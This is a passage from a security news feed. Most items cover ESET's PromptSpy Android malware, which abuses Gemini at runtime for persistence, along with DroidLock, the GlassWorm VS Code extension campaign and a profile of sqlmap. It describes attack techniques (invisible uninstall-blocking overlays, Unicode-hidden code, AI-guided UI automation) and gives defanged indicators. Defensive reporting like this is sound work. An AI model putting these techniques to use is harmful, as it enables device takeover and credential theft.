denial of service. This issue only affected Ubuntu 24.04 LTS and Ubuntu 25.10. (CVE-2026-0665) The problem can be corrected by updating your system to the following package versions: Reduce your security exposure Ubuntu Pro provides ten-year security coverage to 25,000+ packages in Main and Universe repositories, and it is free for up to five machines.
ubuntu.comMar 4, 2026extracted
Il gruppo REDHEBERG colpisce oltre 15.000 sistemi VNC non protetti
Betti RHC, la prima graphic novel al mondo dedicata alla cybersecurity awareness, ha finalmente il suo sito ufficiale. Uno spazio tutto suo dove scoprire il progetto, sfogliare le copertine degli episodi e immergersi nel mondo di Betti: la giovane laureanda in informatica che, dopo la morte misteriosa del padre, si trasforma nell'hacker più potente del mondo. Una storia avvincente che, episodio dopo episodio, affronta una minaccia digitale diversa — dal phishing al ransomware, fino al cyberbullismo — e insegna a riconoscerla e a difendersi, senza che sembri mai una lezione. Sul sito trovate tutto ciò che rende Betti un progetto diverso dal solito: la sua filosofia, le anteprime delle tavole e il racconto di come nasce ogni volume. Perché dietro Betti RHC c'è solo lavoro umano: ogni tavola è disegnata interamente a mano dagli artisti del Gruppo Arte di Red Hot Cyber, senza alcun uso di intelligenza artificiale. E a garantire che ogni storia sia realistica e tecnicamente corretta c'è la supervisione degli hacker etici del gruppo HackerHood, che mantengono il racconto fedele al mondo reale della sicurezza informatica. C'è spazio anche per le aziende, che possono usare Betti come strumento di awareness diverso dai soliti corsi: acquistare i volumi, personalizzarli con il proprio brand o sponsorizzare nuovi episodi. E come primo regalo, l'episodio "Byte the Silence", dedicato al cyberbullismo, è scaricabile gratuitamente per uso personale. Perché la miglior difesa, in fondo, è una bella storia. 👉 Scopri tutto su https://betti.redhotcyber.com/
redhotcyber.comFeb 27, 2026extracted
Android Malware Hijacks Google Gemini to Stay Hidden
ESET researchers have identified an Android malware implant that uses generative AI (GenAI) for persistence purposes. This malicious implant is an advanced version of VNCSpy, a piece of malware that appeared on VirusTotal in January 2026 and was represented by three samples uploaded from Hong Kong. VCNSpy is an Android malware implant that deploys a virtual network computing (VNC) module on the victim's device, allowing attackers to see the screen and perform actions remotely. VNC modules are components of screen-sharing technology that enables remote control of another computer using the remote frame buffer (RFB) protocol. In February, ESET researchers identified four new malware samples uploaded to VirusTotal from Argentina. Their analysis revealed multistage malware based on VNCSpy but with a malicious payload that leverages Google’s Gemini to analyze the targeted device’s screen and provide the operator with step-by-step instructions on how to ensure the malicious app remains pinned in the recent apps list, thus preventing it from being easily swiped away or killed by the system. The researchers have named the malware implant PromptSpy. Based on the presence of Simplified Chinese elements in the code, ESET assessed “with medium confidence” that PromptSpy was developed in a Chinese‑speaking environment. While the security firm noted it hasn’t yet seen any samples of PromptSpy in its telemetry, the existence of a possible distribution domain could suggest the malware has been deployed in the wild. Malicious App Impersonating JPMorgan Argentina The four PromptSpy dropper samples were distributed through the website mgardownload[.]com, which was already offline during ESET’s analysis. After installing and launching PromptSpy dropper, it opened a webpage hosted on m‑mgarg[.]com. “Although this domain was also offline, Google’s cached version revealed that it likely impersonated a Chase Bank (legally, JPMorgan Chase Bank N.A.),” wrote the ESET researchers in a report published on February 19. Additionally, the malicious Android app distributing PromptSpy is called ‘MorganArg,’ which suggests it purports to be ‘Morgan Argentina.’ The app’s icon is inspired by Chase bank. The malicious app is linked to a spoofed Spanish website, with an “Iniciar session” (Login) button, indicating that the page was probably intended to mimic a bank website. The MorganArg app is a trojan that functions as a companion application developed by the same threat actor behind VNCSpy and PromptSpy. In the background, the trojan contacts its server to request a configuration file, which includes a link to download another Android package kit (APK) – the file format for Android applications – presented to the victim, in Spanish, as an update. The configuration server was no longer accessible during ESET’s analysis, so the exact download URL remains unknown. “However, given that it uses the same unique bank spoofing website, the same app name, icon, and, most importantly, is signed by the same unique developer certificate as the PromptSpy dropper, we strongly suspect this app may serve as the initial stage designed to lead victims toward installing PromptSpy. Both VNCSpy and PromptSpy include a VNC component, giving their operators full remote access to compromised devices once victims enable Accessibility Services. This allows the malware operators to see everything happening on the device and to perform taps, swipes, gestures and text input as though they were physically holding the phone. Gemini AI Helps Maintaining Persistence PromptSpy also integrates an AI‑assisted user interface (UI) manipulation feature, helping it maintain persistence by keeping the malicious app pinned in the recent apps list “We believe this functionality is used before the VNC session is established, so that the user or system will not kill the PromptSpy activity from the list of recent apps,” the ESET researchers wrote. The researchers explained that Android malware usually depends on hardcoded screen features such as taps, coordinates, or UI selectors and that these methods are dependent on UI changes across devices, OS versions or manufacturer skins. PromptSpy’s Gemini-powered feature aims to achieve persistence by staying embedded in the list of recent apps by executing the “lock app in recent apps” gesture, which varies between devices and manufacturers. This makes it difficult to automate with fixed scripts traditionally used by Android malware. Once installed and launched, PromptSpy requests ‘Accessibility Service’ permissions, giving the malware the ability to read on‑screen content and perform automated clicks. Then, while showing a simple loading-style decoy screen in the foreground. The malware begins communicating with Gemini AI to obtain instructions needed to lock its process in the ‘Recent Apps’ list. When the user sees the ‘Loading, please wait’ activity, PromptSpy uses Accessibility Services to open the ‘Recent Apps’ screen and collect detailed UI information: visible text, content descriptions, class names, package names and screen bounds. It serializes this dynamic UI snapshot as XML and includes it in its prompt to Gemini. Gemini then returns step-by-step tap instructions on how to achieve the ‘app lock’ gesture. This process forms a continuous loop: PromptSpy sends updated UI context to Gemini Gemini replies with new actions PromptSpy executes them and returns the resulting screen state The loop continues until Gemini confirms that the app is successfully locked in recent apps. All actions suggested by Gemini (taps, swipes, navigation) are executed through ‘Accessibility Services,’ allowing the malware to interact with the device without user input. The malware communicates with its hardcoded command‑and‑control (C2) server at 54.67.2[.]84 using the VNC protocol. The messages are AES-encrypted using a hardcoded key. Through this communication channel, the malware can: Receive a Gemini API key Upload the list of installed apps Intercept the lockscreen PIN or password Capture the pattern unlock screen as a recording video Report whether the screen is on or off Report the current foreground app Record the screen and user gestures for apps specified by the server Take screenshots on demand PromptSpy blocks uninstallation by overlaying invisible elements on the screen, meaning the only way for a victim to remove it is to reboot the device into ‘Safe Mode,’ where third‑party apps are disabled and can be uninstalled normally. “PromptSpy shows that Android malware is beginning to evolve in a sinister way. By relying on generative AI to interpret on‑screen elements and decide how to interact with them, the malware can adapt to virtually any device, screen size, or UI layout it encounters,” the ESET researchers concluded.
infosecurity-magazine.comFeb 20, 2026extracted
PromptSpy Android Malware Abuses Gemini AI at Runtime for Persistence
Researchers at ESET have analyzed what they describe as the first Android malware to leverage generative AI during its execution. Named PromptSpy, the malware deploys a VNC module on compromised systems, enabling its operators to view the victim’s screen and take full control of the Android device. In addition, PromptSpy can collect device information, capture the lockscreen PIN or password, record the screen to obtain the device’s unlock pattern, and take screenshots. For persistence, the Android malware uses a novel approach at runtime that involves sending a prompt to Google’s Gemini gen-AI chatbot along with an XML file containing data about the various UI elements displayed on the screen, including their type, text, and position. Gemini uses this information to tell PromptSpy — via JSON instructions — where to tap or swipe on the screen in order to add the malware to the list of recent apps. The malware can interact with the device and perform the gestures recommended by the AI chatbot by abusing Android’s Accessibility Services. “The malware saves both its previous prompts and Gemini’s responses, allowing Gemini to understand context and to coordinate multistep interactions,” ESET researchers explained. By locking itself in the recent apps list, the malware ensures persistence across device reboots. PromptSpy also abuses Accessibility Services to prevent removal. ESET researchers explained, “When the user attempts to uninstall the payload or disable Accessibility Services, the malware overlays transparent rectangles on specific screen areas – particularly over buttons containing substrings like stop, end, clear, and Uninstall. These overlays are invisible to the user but intercept interactions, making removal difficult.” “Because PromptSpy blocks uninstallation by overlaying invisible elements on the screen, the only way for a victim to remove it is to reboot the device into Safe Mode, where third‑party apps are disabled and can be uninstalled normally,” the researchers added. ESET noted that it has not seen infections in the wild and PromptSpy may be a proof of concept, similar to the PromptLock ransomware detailed by the company last year. However, the security firm has seen a domain that appears to be designed to deliver the malware to users in Argentina. Evidence indicates that PromptSpy has been created by Chinese developers. ESET made this attribution with medium confidence and the company has not linked the Android malware to any threat actor. Related: New Keenadu Android Malware Found on Thousands of Devices Related: Android 17 Beta Strengthens Secure-by-Default Design for Privacy and App Security Related: New ‘ZeroDayRAT’ Spyware Kit Enables Total Compromise of iOS, Android Devices
securityweek.comFeb 20, 2026extracted
PromptSpy is the first known Android malware to use generative AI at runtime
Researchers have discovered the first known Android malware to use generative AI in its execution flow, using Google’s Gemini model to adapt its persistence across different devices. In a report today, ESET researcher Lukas Stefanko explains how a new Android malware family named "PromptSpy" is abusing the Google Gemini AI model to help it achieve persistence on infected devices. "In February 2026, we uncovered two versions of a previously unknown Android malware family," explains ESET. "The first version, which we named VNCSpy, appeared on VirusTotal on January 13th, 2026 and was represented by three samples uploaded from Hong Kong. On February 10th, 2026, four samples of more advanced malware based on VNCSpy were uploaded to VirusTotal from Argentina." First known Android malware to use generative AI While machine learning models have previously been used by Android malware to analyze screenshots for ad fraud, ESET says that PromptSpy is the first known case of Android malware integrating generative AI directly into its execution. On some Android devices, users can "lock" or "pin" an app in the Recent Apps list by long-pressing it and selecting a lock option. When an app is locked this way, Android is less likely to terminate it during memory cleanup or when the user taps "Clear all." For legitimate apps, this prevents background processes from being killed. For malware like PromptSpy, it can serve as a persistence mechanism. However, the method used to lock or pin an app varies between manufacturers, making it hard for malware to script the right way to do so on every device. That is where AI comes into play. PromptSpy sends Google's Gemini model a chat prompt along with an XML dump of the current screen, including the visible UI elements, text labels, class types, and screen coordinates. Gemini then responds with JSON-formatted instructions describing the action to take on the device to pin the app. The malware executes the action through Android's Accessibility Service, retrieves the updated screen state, and sends it back to Gemini in a loop until the AI confirms that the app has been successfully locked in the recent apps list. "Even though PromptSpy uses Gemini in just one of its features, it still demonstrates how incorporating these AI tools can make malware more dynamic, giving threat actors ways to automate actions that would normally be more difficult with traditional scripting," explains ESET. While the use of an AI LLM for run-time changes to behavior is novel, PromptSpy's primary functionality is to act as spyware. The malware includes a built-in VNC module that allows the threat actors to gain full remote access to devices with Accessibility permissions are granted. Using this access, the threat actors can view and control the Android screen in real time. According to ESET, the malware can: Upload a list of installed apps Intercept lockscreen PINs or passwords Record the pattern unlock screen as a video Capture screenshots on demand Record screen activity and user gestures Report the current foreground application and screen status To make removal harder, when users attempt to uninstall the app or turn off Accessibility permissions, the malware overlays transparent, invisible rectangles over UI buttons that display strings like "stop," "end," "clear," and "Uninstall." When a user taps the button to stop or uninstall the app, they will instead tap the invisible button, which blocks removal. Unclear if its a proof-of-concept malware Stefanko says that victims must reboot into Android Safe Mode so that third-party apps are disabled and cannot block the malware's uninstall. ESET told BleepingComputer that it has not yet observed PromptSpy or its dropper in its telemetry, so it is unclear whether the malware is a proof-of-concept. "We haven't seen any signs of the PromptSpy dropper or its payload in our telemetry so far, which could mean they're only proofs of concept," Stefanko told BleepingComputer. However, as VirusTotal indicates that several samples were previously distributed via the dedicated domain mgardownload[.]com and used a web page on m-mgarg[.]com to impersonate JPMorgan Chase Bank, it may have been used in actual attacks. "Still, because there appears to be a dedicated domain that was used to distribute them, and fake bank website, we can't rule out the possibility that both the dropper and PromptSpy are or were in the wild," Štefanko added. While the distribution of this malware appears very limited and did not appear on Google Play, it demonstrates how threat actors are using generative AI to not only create attacks and phishing sites, but also to modify malware behavior in real time. Earlier this month, Google Threat Intelligence reported that state-sponsored hackers are also using Google's Gemini AI model to support all stages of their attacks, from reconnaissance to post-compromise actions. Overall prevention scores can hide what happens after initial access. Once attackers are using valid credentials, prevention drops sharply. The Blue Report 2026 measures defenses technique by technique across 338 million simulations run in customer production environments. Get the report
bleepingcomputer.comFeb 19, 2026extracted
PromptSpy Android Malware Abuses Gemini AI to Automate Recent-Apps Persistence
Cybersecurity researchers have discovered what they say is the first Android malware that abuses Gemini, Google's generative artificial intelligence (AI) chatbot, as part of its execution flow and achieves persistence. The malware has been codenamed PromptSpy by ESET. The malware is equipped to capture lockscreen data, block uninstallation efforts, gather device information, take screenshots, and record screen activity as video. "Gemini is used to analyze the current screen and provide PromptSpy with step-by-step instructions on how to ensure the malicious app remains pinned in the recent apps list, thus preventing it from being easily swiped away or killed by the system," ESET researcher Lukáš Štefanko said in a report published today. "Since Android malware often relies on UI navigation, leveraging generative AI enables the threat actors to adapt to more or less any device, layout, or OS version, which can greatly expand the pool of potential victims." Specifically, this involves hard-coding the AI model and a prompt in the malware, assigning the AI agent the persona of an "Android automation assistant." It sends Gemini a natural language prompt along with an XML dump of the current screen that gives detailed information about every UI element, including its text, type, and exact position on the display. Gemini then processes this information and responds with JSON instructions that tell the malware what action to perform (e.g., a tap) and where to perform it. The multi-step interaction continues until the app is successfully locked in the recent apps list and cannot be terminated. The main goal of PromptSpy is to deploy a built-in VNC module that grants the attackers remote access to the victim's device. The malware is also designed to take advantage of Android's accessibility services to prevent it from being uninstalled using invisible overlays. It communicates with a hard-coded command-and-control (C2) server ("54.67.2[.]84") via the VNC protocol. It's worth noting that the actions suggested by Gemini are executed through accessibility services, allowing the malware to interact with the device without user input. All of this is accomplished by communicating with the C2 server to receive the Gemini API key, take screenshots on demand, intercept lockscreen PIN or password, record screen, and capture the pattern unlock screen as a video. An analysis of the language localization clues and the distribution vectors used suggests that the campaign is likely financially motivated and targets users in Argentina. Interestingly, evidence shows that PromptSpy was developed in a Chinese‑speaking environment, as indicated by the presence of debug strings written in simplified Chinese. "PromptSpy is distributed by a dedicated website and has never been available on Google Play," Štefanko said. PromptSpy is assessed to be an advanced version of another previously unknown Android malware called VNCSpy, samples of which were first uploaded to the VirusTotal platform last month from Hong Kong. The website, "mgardownload[.]com," is used to deliver a dropper, which, when installed and launched, opens a web page hosted on "m-mgarg[.]com." It masquerades as JPMorgan Chase, going by the name "MorganArg" in reference to Morgan Argentina. The dropper also instructs victims to grant it permissions to install apps from unknown sources to deploy PromptSpy. "In the background, the Trojan contacts its server to request a configuration file, which includes a link to download another APK, presented to the victim, in Spanish, as an update," ESET said. "During our research, the configuration server was no longer accessible, so the exact download URL remains unknown." The findings illustrate how threat actors are incorporating AI tools into their operations and make malware more dynamic, giving them ways to automate actions that would otherwise be more challenging with conventional approaches. Because PromptSpy prevents itself from being uninstalled by overlaying invisible elements on the screen, the only way for a victim to remove it is to reboot the device into Safe Mode, where third‑party apps are disabled and can be uninstalled. "PromptSpy shows that Android malware is beginning to evolve in a sinister way," ESET said. "By relying on generative AI to interpret on‑screen elements and decide how to interact with them, the malware can adapt to virtually any device, screen size, or UI layout it encounters." "Instead of hardcoded taps, it simply hands AI a snapshot of the screen and receives precise, step‑by‑step interaction instructions in return, helping it achieve a persistence technique resistant to UI changes." When reached for comment, a Google spokesperson told The Hacker News via email that there is currently no evidence that apps containing PromptSpy are being distributed via Google Play. "Android users are automatically protected against known versions of this malware by Google Play Protect, which is on by default on Android devices with Google Play Services. Google Play Protect can warn users or block apps known to exhibit malicious behavior, even when those apps come from sources outside of Play," the spokesperson added. (The story was updated after publication to include a response from Google.)
thehackernews.comFeb 19, 2026extracted
PromptSpy: First Android malware to use generative AI in its execution flow
PromptSpy: First Android malware to use generative AI in its execution flow ESET researchers have discovered PromptSpy, the first known Android malware to abuse generative AI as part of its execution flow in order to achieve persistence. This marks the first time generative AI has been deployed in this way. Because the attackers rely on prompting an AI model, specifically Google’s Gemini, to guide malicious UI manipulation, ESET has named this malware family PromptSpy. The malware can capture lockscreen data, block uninstallation attempts, gather device information, take screenshots, and record screen activity as video, among other capabilities. This is the second AI-powered malware discovered by ESET Research, following PromptLock in August 2025, which they described as the first known case of AI-driven ransomware. Based on language localization clues and the distribution vectors observed during analysis, the campaign appears to be financially motivated and primarily targets users in Argentina. However, PromptSpy has not yet been observed in ESET telemetry, suggesting it may currently be a proof of concept. Although generative AI is used only in a relatively small portion of PromptSpy’s code, specifically the component responsible for persistence, it significantly increases the malware’s adaptability. Gemini is used to provide step-by-step instructions on how to make the malicious app “locked,” meaning pinned in the recent apps list. This feature is often represented by a padlock icon in the multitasking view of many Android launchers, and it prevents the app from being easily swiped away or terminated by the system. The AI model and prompt are predefined in the code and cannot be modified. “Since Android malware often relies on UI-based navigation, leveraging generative AI enables threat actors to adapt to more or less any device, layout, or operation system version, which can greatly increase the pool of potential victims,” says ESET researcher Lukáš Štefanko, who discovered PromptSpy. “The main purpose of PromptSpy is to deploy a built-in VNC module, giving operators remote access to the victim’s device. This Android malware also abuses Accessibility Services to block uninstallation with invisible overlays, captures lockscreen data, and records screen activity as video. It communicates with its Command & Control server via AES encryption,” adds Štefanko. PromptSpy is distributed through a dedicated website and has never been available on Google Play. As an App Defense Alliance partner, researchers nonetheless shared its findings with Google. Android users are automatically protected against known versions of this malware through Google Play Protect, which is enabled by default on Android devices with Google Play Services. “Even though PromptSpy uses Gemini in just one of its features, it still demonstrates how implementing these tools can make malware more dynamic, giving threat actors ways to automate actions that would normally be more difficult with traditional scripting,” says Štefanko. With the app named MorganArg and its icon seemingly inspired by Morgan Chase, the malware likely impersonates the Morgan Chase bank. MorganArg, which appears to be shorthand for “Morgan Argentina,” also shows up as the name of the cached website, further suggesting a region-specific targeting focus. Because PromptSpy blocks uninstallation by overlaying invisible elements on the screen, the only way for a victim to remove it is to reboot the device into Safe Mode. In Safe Mode, third party apps are disabled and can be uninstalled normally. To enter Safe Mode, users should typically press and hold the power button, then long press Power off and confirm the Reboot to Safe Mode prompt, although the exact steps may vary by device and manufacturer. Once the phone restarts in Safe Mode, the user can navigate to Settings → Apps → MorganArg and uninstall it without interference.
helpnetsecurity.comFeb 19, 2026extracted
Portnox expands ZTNA with passwordless access for RDP, SSH, and enterprise consoles
Portnox expands ZTNA with passwordless access for RDP, SSH, and enterprise consoles Portnox has unveiled a major expansion of its zero trust network access (ZTNA) solution, extending credential-free access beyond web and on-premises applications to include enterprise console-based applications. Organizations can eliminate passwords and credentials from administrative access via Remote Desktop Protocol (RDP), Secure Shell (SSH), Virtual Network Computing (VNC), and Teletype Network (Telnet). This removes the attack vector responsible for 80% of data breaches while maintaining the frictionless user experience that has defined Portnox ZTNA. As enterprises accelerate digital transformation to support hybrid work, cloud migration, and AI adoption, every new initiative expands the attack surface faster than security teams can adapt. The problem with traditional approaches is that they attempt to secure vulnerable architectures instead of redesigning them for modern risk. Legacy VPNs grant broad network access. Credential vaults just manage passwords. Neither addresses the root cause. Portnox takes a fundamentally different approach: eliminate passwords and credentials entirely. According to a recent Forrester Total Economic Impact™ (TEI) study, organizations implementing Portnox Cloud achieve a 287% ROI, a 75% reduction in breach risk, and 90% faster deployment of new sites, with payback in under six months. “When we launched Portnox ZTNA in July 2025, we proved that you don’t have to sacrifice speed or simplicity to achieve zero trust,” said Denny LeCompte, CEO of Portnox. “Our expansion into console-based applications shows what happens when you substantially reduce the attack surface. Portnox customers are removing passwords and replacing VPNs while improving the user experience across their application suite. That’s the promise of true zero trust: better security, increased productivity, and ease of use.” Building on Portnox’s NAC and universal access control foundation, Portnox ZTNA now extends comprehensive zero trust protection across the entire enterprise technology stack: Stop risky devices at the console – Passwordless, certificate-based authentication for RDP, SSH, VNC, and Telnet connections – Continuous device posture monitoring and risk-adaptive policies – Automated remediation of non-compliant endpoints before access is granted – Zero network impact deployment—no firewall changes, VPN clients, or agent installations required Secure, frictionless access for users – Unified view of all authorized resources across applications and infrastructure – Single sign-on experience for enterprise applications (web, SaaS, on-premises, console-based) – Role-based and location-based access controls with real-time policy enforcement – Simplified endpoint management and automated security workflows Continuous zero trust verification – Identity verification through integration with enterprise IdPs (Okta, Azure AD, Google Workspace) – Device posture checks against organizational security policies – Network and location context evaluation for every access request – Risk scoring for adaptive security – Automatic access revocation when device posture or risk conditions change With 93% of CISOs planning to replace VPNs by 2027, these advancements position Portnox as the modern alternative—delivering enterprise-grade security, measurable business outcomes, and operational simplicity that legacy VPNs and first-generation ZTNA solutions cannot match.
helpnetsecurity.comFeb 10, 2026extracted
New DroidLock malware locks Android devices and demands a ransom
A newly discovered Android malware dubbed DroidLock can lock victims’ screens for ransom and access text messages, call logs, contacts, audio recordings, or even erase data. DroidLLock allows its operator to take complete control of the device via the VNC sharing system and can steal the device lock pattern by placing an overlay on the screen. According to researchers at mobile security company Zimperium, the malware targets Spanish-speaking users and is distributed through malicious websites promoting fake applications that impersonate legitimate packages. In a report today, Zimperium says that the "infection starts with a dropper that deceives the user into installing the secondary payload that contains the actual malware." The malicious apps introduce the main payload via an update request and then ask for Device Admin and Accessibility Services permissions, which let it to perform fraudulent activities. Some of the actions it can take are wiping the device, locking it, changing the PIN, password, or biometric data to prevent the user from accessing the device. Zimperium's analysis discovered that DroidLock supports 15 commands that let it send notifications, place an overlay on the screen, mute the device, reset it to factory settings, start the camera, or uninstall apps. The ransomware overlay is served via WebView immediately after the corresponding command is received, instructing the victim to contact the threat actor at a Proton email address. If the user does not pay a ransom in 24 hours, the actor threatens to permanently destroy the files. Zimperium clarifies that DroidLock does not encrypt files, but by threatening to destroy them unless a ransom is paid, the same purpose is achieved. Additionally, the threat actor can deny access to the device by changing the lock code. DroidLock can steal the lock pattern through another overlay loaded from the malicious APK's assets. When the user draws the pattern on the cloned interface, they send it directly to the attacker. The purpose of this feature is to allow remote access to the device through VNC at idle times. Being a member of Google’s App Defense Alliance, Zimperium shares new malware findings with the Android security team, so Play Protect detects and blocks this threat from up-to-date devices. Android users are advised not to side-load APKs from outside Google Play unless the publisher is a trusted source. They should always check if the permissions required by an app serve its purposes, and periodically scan their device with Play Protect. Overall prevention scores can hide what happens after initial access. Once attackers are using valid credentials, prevention drops sharply. The Blue Report 2026 measures defenses technique by technique across 338 million simulations run in customer production environments. Get the report
bleepingcomputer.comDec 10, 2025extracted
GlassWorm Malware Returns to Open VSX, Emerges on GitHub
The GlassWorm malware has reared its ugly head again in the Open VSX registry, roughly two weeks after being removed from the Visual Studio (VS) Code extensions marketplace, Koi Security reports. In mid-October, the malware landed in the registry through a set of nearly a dozen infected extensions, aiming to steal NPM, GitHub, and Git credentials, along with other sensitive information and funds from 49 cryptocurrency extensions. Koi Security estimated at the time that the malware was downloaded roughly 35,000 times, warning that it could propagate by infecting the extensions and packages found on victims’ systems. What made the malware stand out was its use of Unicode variation selectors to hide its code in editors and the use of the Solana blockchain for command-and-control (C&C) infrastructure. It also provided remote access to the infected machines, by deploying SOCKS proxy servers and hidden VNC servers. Open VSX said in late October that the attack had been contained within days and that additional security measures had been implemented to prevent similar attacks. Pointing out that GlassWorm was not a self-propagating worm, Open VSX said all infected extensions were removed from the registry, and that the incident was considered contained as of October 21. Now, Koi warns that three more infected VS Code extensions were discovered in the registry on November 6, with a combined download count of approximately 10,000. The attackers pushed a new Solana blockchain transaction to feed new C&C addresses to the malware, to download a next-stage payload. The exfiltration server, however, remained unchanged from the first wave of attacks. Koi also says it gained access to the attackers’ server and peeked at the stolen data, which included a partial list of GlassWorm’s victims. The list includes dozens of developers and organizations, including entities in the US, Europe, Asia, and Latin America, as well as a government entity in the Middle East. The attackers, Koi notes, stole the victims’ credentials and are likely abusing their computers as criminal proxy infrastructure. Keylogger data discovered on the server revealed that the threat actor is Russian-speaking, that they use the open source browser extension C&C framework RedExt as part of their infrastructure, and that they use multiple cryptocurrency exchanges and messaging platforms. “We’re currently working with law enforcement agencies to notify affected victims and coordinate efforts to take down the attacker’s infrastructure. But the reality is sobering: this campaign has been running for over a month, and it continues to spread,” Koi says. More worrying is that malicious code like GlassWorm’s, also hidden from code editors using Unicode characters, was found on GitHub. Aikido Security, which discovered multiple repositories containing the malicious script, notes that the same threat actor is likely behind both the Open VSX and GitHub attacks. “Attackers are blending malicious code with realistic commits and project-specific improvements, possibly aided by AI to make their changes appear natural. It is a sign of where the threat landscape is heading,” Aikido says. Related: Chinese APT Uses ‘Airstalk’ Malware in Supply Chain Attacks Related: GitHub Boosting Security in Response to NPM Supply Chain Attacks Related: Shai-Hulud Supply Chain Attack: Worm Used to Steal Secrets, 180+ NPM Packages Hit Related: Highly Popular NPM Packages Poisoned in New Supply Chain Attack
securityweek.comNov 10, 2025extracted
sqlmap: Open-source SQL injection and database takeover tool
sqlmap: Open-source SQL injection and database takeover tool Finding and exploiting SQL injection vulnerabilities is one of the oldest and most common steps in web application testing. sqlmap streamlines this process. It is an open-source penetration testing tool that automates the detection and exploitation of SQL injection flaws and can take over database servers when configured to do so. What makes sqlmap valuable is its automation. Instead of manually crafting and testing payloads, the tool does the work of identifying injection points, determining the type of database in use, and running a range of exploitation techniques. For testers working across many targets, that speed and consistency make a difference. How sqlmap works sqlmap uses a detection engine that supports several types of SQL injection: boolean-based blind, time-based blind, error-based, UNION query-based, stacked queries, and out-of-band. Once it identifies a vulnerability, it can fingerprint the database, extract data, and even execute commands on the underlying operating system, depending on the level of access available. The tool can enumerate users, password hashes, roles, and privileges. It can identify database structures, search for particular tables or columns, and dump selected data ranges. Testers can focus on specific tables or strings, such as names or passwords, to locate sensitive credentials. Broad database support One of sqlmap’s strengths is its wide compatibility. It supports nearly every major database management system, including MySQL, Oracle, PostgreSQL, Microsoft SQL Server, Microsoft Access, IBM DB2, SQLite, Firebird, and SAP MaxDB. It also works with newer or niche platforms such as MariaDB, TiDB, CockroachDB, Vertica, OpenGauss, and ClickHouse. This range means testers can apply a single workflow across diverse environments. Whether the target is a traditional relational database or a distributed system, sqlmap can adapt its methods to match the DBMS in use. From database to operating system When sqlmap exploits an injection, it can often go beyond the database itself. If the target runs MySQL, PostgreSQL, or Microsoft SQL Server, the tool can access the file system directly. It allows users to upload or download files from the underlying operating system, a useful capability when testing post-exploitation scenarios. The same applies to command execution. sqlmap can run system commands and retrieve their output, offering testers a way to understand how deep their access goes. For advanced cases, it can open an out-of-band TCP connection between the testing machine and the target. Through this channel, users can spawn an interactive shell, a Meterpreter session, or even a VNC session for remote interaction. Integrating with other tools sqlmap also supports integration with Metasploit for privilege escalation. Using Metasploit’s Meterpreter getsystem command, a tester can attempt to elevate the database process’s privileges to gain higher-level access. This connection between tools highlights sqlmap’s flexibility within broader penetration testing workflows. For users who already have database credentials, sqlmap can connect directly without exploiting a vulnerability. This makes it useful not just for offensive testing but also for auditing and verifying database configurations. Testers can confirm which privileges exist and whether sensitive data is exposed. Why sqlmap remains a standard tool Despite the growth of automated scanners and cloud-based testing platforms, sqlmap remains a standard tool in many penetration testers’ toolkits. Its strength lies in combining automation with fine-grained control. Users can set switches to adjust behavior, control verbosity, or define exactly which data to extract. It supports both wide scanning and targeted analysis. A tester can run it across an entire application to locate vulnerable parameters, then narrow the focus to specific database tables or data ranges. The flexibility to shift between broad reconnaissance and precise exploitation is what keeps sqlmap relevant. sqlmap is available for free on GitHub. Must read: 35 open-source security tools to power your red team, SOC, and cloud security GitHub CISO on security strategy and collaborating with the open-source community Subscribe to the Help Net Security ad-free monthly newsletter to stay informed on the essential open-source cybersecurity tools. Subscribe here!
helpnetsecurity.comNov 10, 2025extracted
Open VSX Downplays Impact From GlassWorm Campaign
The GlassWorm campaign that infected VS Code extensions in the Open VSX marketplace has been fully contained, the Open VSX team says. Maintained by the Eclipse Foundation, the Open VSX registry is an open source alternative to Microsoft’s Visual Studio Marketplace, providing developers with a server application for the management of VS Code extensions. On October 18, Koi Security warned of GlassWorm, a campaign targeting Visual Studio developers with an information stealer, through malicious extensions distributed on Open VSX. The extensions, estimated to have been downloaded nearly 36,000 times, had been injected with code hidden using Unicode variation selectors, so that it would not be visible in code editors. The malware, dubbed GlassWorm, could steal sensitive information such as credentials, drain funds from cryptocurrency wallets, deploy SOCKS proxy servers, and install hidden VNC servers for remote access to the infected systems. Additionally, Koi warned, it was self-propagating, using the stolen developer credentials to infect additional packages and extensions. According to the Open VSX team, GlassWorm “was not a self-replicating worm in the traditional sense”, as it could not autonomously propagate through systems. Instead, it stole credentials that could be used to extend the attacker’s reach. Open VSX has removed all the malicious extensions from the marketplace and considers the incident to have been fully contained on October 21. Its impact, the team says, was likely lower than estimated, as the reported download count also includes bot downloads, meant to inflate the extensions’ visibility. “There is no indication of ongoing compromise or remaining malicious extensions on the platform,” the Open VSX team says. This month, the team also revoked tokens that had been inadvertently exposed by several extensions, and which could be used to publish or modify extensions. “These exposures were caused by developer mistakes, not a compromise of the Open VSX infrastructure. To improve detection going forward, we introduced a token prefix format in collaboration with MSRC to enable easier and more accurate scanning for exposed tokens across public repositories,” the team notes. Additionally, the team implemented shorter default validity periods for tokens, improved internal processes to make token revocation faster, and implemented automated security scanning of all extensions at the time of publication, to detect malicious code and embedded secrets from the start. Related: SBOM Pioneer Allan Friedman Joins NetRise to Advance Supply Chain Visibility Related: Shai-Hulud Supply Chain Attack: Worm Used to Steal Secrets, 180+ NPM Packages Hit Related: Over 6,700 Private Repositories Made Public in Nx Supply Chain Attack Related: AI Supply Chain Attack Method Demonstrated Against Google, Microsoft Products
securityweek.comOct 31, 2025extracted
Self-Spreading 'GlassWorm' Infects VS Code Extensions in Widespread Supply Chain Attack
Cybersecurity researchers have discovered a self-propagating worm that spreads via Visual Studio Code (VS Code) extensions on the Open VSX Registry and the Microsoft Extension Marketplace, underscoring how developers have become a prime target for attacks. The sophisticated threat, codenamed GlassWorm by Koi Security, is the second such supply chain attack to hit the DevOps space within a span of a month after the Shai-Hulud worm that targeted the npm ecosystem in mid-September 2025. What makes the attack stand out is the use of the Solana blockchain for command-and-control (C2), making the infrastructure resilient to takedown efforts. It also uses Google Calendar as a C2 fallback mechanism. Another novel aspect is that the GlassWorm campaign relies on "invisible Unicode characters that make malicious code literally disappear from code editors," Idan Dardikman said in a technical report. "The attacker used Unicode variation selectors – special characters that are part of the Unicode specification but don't produce any visual output." The end goal of the attack is to harvest npm, Open VSX, GitHub, and Git credentials, drain funds from 49 different cryptocurrency wallet extensions, deploy SOCKS proxy servers to turn developer machines into conduits for criminal activities, install hidden VNC (HVNC) servers for remote access, and weaponize the stolen credentials to compromise additional packages and extensions for further propagation. The names of the infected extensions, 13 of them on Open VSX and one on the Microsoft Extension Marketplace, are listed below. These extensions have been downloaded about 35,800 times. The first wave of infections took place on October 17, 2025. It's currently not known how these extensions were 